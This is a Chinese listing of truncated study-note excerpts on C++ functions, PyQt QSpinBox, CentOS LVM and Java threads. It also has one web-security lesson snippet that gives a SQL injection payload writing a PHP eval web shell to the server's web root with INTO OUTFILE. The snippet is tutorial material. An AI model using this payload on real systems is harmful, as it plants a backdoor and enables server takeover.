C++学习基础十六-- 函数学习笔记】的更多相关文章

C++ Primer 第七章-函数学习笔记 一步一个脚印.循序渐进的学习. 一.参数传递 每次调用函数时,都会重新创建函数所有的形参,此时所传递的实参将会初始化对应的形参. 「如果形参是非引用类型,则复制实参的值来初始化形参:如果形参是引用类型,则形参只是实参的别名.」 「非引用形参表示对实参的局部副本,函数内修改此类型形参时仅仅改变局部副本的值,一旦函数执行结束,这些局部变量的值就没有了,因此不影响实参的值.」 「如果函数参数为指针,同样形参是实参的副本,修改形参指针的值不影响实参,但是如果修…
我们在上一章讲了步长调节器QAbstractSpinBox,这一节来讲一下它的一个子类:QSpinBox 一.描述 QSpinBox是一个主要处理整数和离散值集合的步长调节器控件,它允许用户通过单击增减按钮或用键盘输入值来实现当前显示值的改变.它主要显示整数,也可以通过自定义显示一些离散的值集(周一~周日) QSpinBox继承了QAbstractSpinBox,可以使用父类的各种API. 二.功能 1.构造函数 from PyQt5.Qt import * import sys class W…
目录 学习笔记:CentOS7学习之十六:LVM管理和ssm存储管理器使用 16.1 LVM的工作原理 16.1.1 LVM常用术语 16.1.2 LVM优点 16.2 创建LVM的基本步骤 16.2.1 lvm常用的命令 16.2.2 创建并使用LVM逻辑卷 16.2.3 指定PE大小 16.2.4 LV扩容 16.2.5 VG扩容 16.2.6 LVM缩小(实际工作中基本遇不到,尽量避免) 16.2.7 LVM删除 16.3 SSM工具介绍 学习笔记:CentOS7学习之十六:LVM管理和s…
201871010104-陈园园<面向对象程序设计(java)>第十六周学习总结 项目 内容 这个作业属于哪个课程 https://www.cnblogs.com/nwnu-daizh/ 这个作业要求在哪里 https://www.cnblogs.com/lily-2018/p/11441372.html 作业学习目标 (1) 掌握Java应用程序的打包操作: (2) 掌握线程概念: (3) 掌握线程创建的两种技术. 第一部分:总结理论知识 线程的组成 线程ID:线程标识符. 当前指令指针(P…
201871010105-曹玉中<面向对象程序设计(java)>第十六周学习总结 项目 内容 这个作业属于哪个过程 https://www.cnblogs.com/nwnu-daizh/ 这个作业的要求在哪里 https://www.cnblogs.com/zyja/p/11963340.html 作业学习目标 (1) 掌握Java应用程序的打包操作: (2) 掌握线程概念: (3) 掌握线程创建的两种技术. 第一部分:理论知识. 进程:指一个内存中运行的应用程序.例如运行QQ那么它就是一个进…
风炫安全Web安全学习第十六节课 高权限sql注入getshell sql高权限getshell 前提条件: 需要知道目标网站绝对路径 目录具有写的权限 需要当前数据库用户开启了secure_file_priv select database() into outfile '/var/www/html/1.txt' allen' union select 1,'<?php eval($_GET[w]); ?>' into outfile '/var/www/html/2.php' # site…
第十六周学习总结 第一部分:理论知识 1. 程序是一段静态的代码,它是应用程序执行的蓝本.进程是程序的一次动态执行,它对应了从代码加载.执行至执行完毕的一个完整过程.操作系统为每个进程分配一段独立的内存空间和系统资源,包括:代码数据以及堆栈等资源.每一个进程的内部数据和状态都是完全独立的.多任务操作系统中,进程切换对CPU资源消耗较大. 2.  多线程是进程执行过程中产生的多条执行线索.线程是比进程执行更小的单位.线程不能独立存在,必须存在于进程中,同一进程的各线程间共享进程空间的数据.每个线程…
java学习第十六周-并发        本周,学习了Java中线程,并发的知识,在老师的带领下,进行了对知识的理解学习,以及对实验的运行讲解,对这一块内容掌握的还可以,在自主编程中,也能够完成.线,下面进行简单的重点总结:       java线程中的五种基本状态:新建状态(New):当线程对象对创建后,即进入了新建状态,如:Thread t = new MyThread(); 就绪状态(Runnable):当调用线程对象的start()方法(t.start();),线程即进入就绪状态.处于就…
201871010123-吴丽丽 <面向对象程序设计(Java)>第十六周学习总结 项目 内容 这个作业属于哪个课程 https://www.cnblogs.com/nwnu-daizh/ 这个作业的要求在哪里 https://www.cnblogs.com/nwnu-daizh/p/12031970.html 作业的学习目标 (1) 掌握Java应用程序的打包操作: (2) 掌握线程概念: (3) 掌握线程创建的两种技术. (4) 学习设计应用程序的GUI. 第一部分:总结教材14.1-14…
201271050130-滕江南-<面向对象程序设计(java)>第十六周学习总结 博文正文开头格式:(2分) 项目 内容 这个作业属于哪个课程 https://www.cnblogs.com/nwnu-daizh/ 这个作业的要求在哪里 https://www.cnblogs.com/nwnu-daizh/p/12031970.html 作业学习目标 (1) 掌握Java应用程序的打包操作: (2) 掌握线程概念: (3) 掌握线程创建的两种技术: 随笔博文正文内容包括: 第一部分:总结教材…